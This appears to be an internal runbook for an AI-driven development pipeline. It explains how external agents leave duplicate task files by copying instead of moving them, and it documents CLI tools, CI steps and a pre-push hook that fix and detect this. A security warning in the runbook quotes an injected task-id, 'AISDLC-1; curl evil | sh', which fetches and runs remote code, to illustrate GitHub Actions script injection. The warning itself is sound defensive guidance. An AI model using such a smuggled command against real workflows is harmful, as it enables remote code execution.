Audience: AI-SDLC Pipeline Operator — handling Codex-driven or other
external-agent task executions that do not go through /ai-sdlc execute.
Status: Operational (AISDLC-203)
When a Codex-driven or manually-wired agent completes a task, it typically
performs a copy-only completion: it creates backlog/completed/<taskId> - *.md
without deleting backlog/tasks/<taskId> - *.md. The task then appears in
both directories simultaneously.
This was observed 5+ times in a single day (AISDLC-175, 181, 184, 191, 197, 201, 203 all needed lifecycle-close PRs as cleanup). Consequences:
- Backlog status queries return ambiguous results (task shows as both open and done).
- PR diffs are misleading — reviewers see a new
completed/file but no corresponding deletion fromtasks/. - Future agents can redispatch an already-completed task (if they scan
tasks/for open work).
pipeline-cli now ships two CLI tools that implement the atomic completion contract:
node pipeline-cli/bin/cli-task-complete.mjs AISDLC-203
node pipeline-cli/bin/cli-task-complete.mjs AISDLC-203 --work-dir /abs/path/to/repoSteps performed:
- Locates
backlog/tasks/<taskId-lower> - *.md. - If only in
backlog/completed/→ prints an idempotency notice (exit 2; use--allow-already-doneto exit 0 instead). - If in both → throws
DuplicateTaskFileError(exit 1) — you must resolve manually first. - Patches
status:in the frontmatter toDone. - Moves (not copies) the file to
backlog/completed/<same-name>.md. - Verifies post-move that the file exists in
completed/and NOT intasks/.
Exit codes: 0 = success, 1 = error, 2 = already done.
node pipeline-cli/bin/cli-backlog-verify.mjs
node pipeline-cli/bin/cli-backlog-verify.mjs --work-dir /abs/path/to/repo --format jsonScans both directories and exits non-zero with a list of duplicate task IDs
when any task appears in both tasks/ and completed/. Wire this as a
pre-push hook gate or CI step to catch copy-only completions before they
land on main.
The /ai-sdlc execute pipeline already performs atomic moves via
moveTaskToCompleted() in pipeline-cli/src/steps/10-finalize.ts. No
change needed for this path.
Replace any step that does cp backlog/tasks/<id>*.md backlog/completed/ with:
- name: Complete backlog task atomically
env:
TASK_ID: ${{ inputs.task-id }}
run: node pipeline-cli/bin/cli-task-complete.mjs "$TASK_ID"Important: Pass workflow inputs through env: and reference them as shell
variables ("$TASK_ID") rather than expanding ${{ inputs.task-id }} directly
inside run:. GitHub Actions expands ${{ }} BEFORE shell parsing, so a
crafted task-id like AISDLC-1; curl evil | sh would execute as a second
command (CWE-78 actions-script-injection). Env-indirection passes the value
through the process environment where it's a literal string, defeating the
injection vector. The bin itself sanitizes input but the call-site convention
matters once inputs.task-id is sourced from issue_comment / issues
triggers where titles, bodies, or labels are attacker-controlled.
Important: Do NOT use pnpm --filter @ai-sdlc/pipeline-cli exec cli-task-complete.
pnpm exec does not resolve a workspace package's own bin entries and silently
fails with Command not found (see AISDLC-156 / CLAUDE.md). Always invoke via
node pipeline-cli/bin/cli-task-complete.mjs.
If a task slipped through and appears in both directories:
# 1. Verify the problem.
node pipeline-cli/bin/cli-backlog-verify.mjs --work-dir /path/to/repo
# 2. Inspect both files to confirm the completed/ copy is authoritative.
diff "backlog/tasks/aisdlc-XXX - *.md" "backlog/completed/aisdlc-XXX - *.md"
# 3. Delete the tasks/ copy via a lifecycle-close PR.
git rm "backlog/tasks/aisdlc-XXX - <slug>.md"
git commit -m "chore(backlog): remove duplicate aisdlc-XXX from tasks/ (lifecycle close)"
git push origin HEAD
gh pr create --title "chore: lifecycle close AISDLC-XXX duplicate in tasks/"Do NOT simply rm and push to main directly — the PR is the audit trail.
AISDLC-201 was the first confirmed occurrence of this pattern during a Codex
run. At the time of AISDLC-203 implementation (2026-05-05), AISDLC-201 was
already present only in backlog/completed/ (not in backlog/tasks/),
so no file-deletion PR was needed. The duplicate had already been resolved
by a previous lifecycle-close PR.
The cli-task-complete + cli-backlog-verify tools were designed so that
any future occurrence is detectable immediately (via DuplicateTaskFileError
or the verify gate) and fixable in one command rather than requiring a manual
lifecycle-close PR.
Add to .husky/pre-push (after the existing gates):
# AISDLC-203: detect duplicate task IDs across tasks/ and completed/.
node pipeline-cli/bin/cli-backlog-verify.mjs --quiet || {
echo "[pre-push] Backlog integrity check failed — duplicate task IDs detected."
echo "Run: node pipeline-cli/bin/cli-backlog-verify.mjs (for details)"
exit 1
}This ensures the copy-only pattern never lands on main.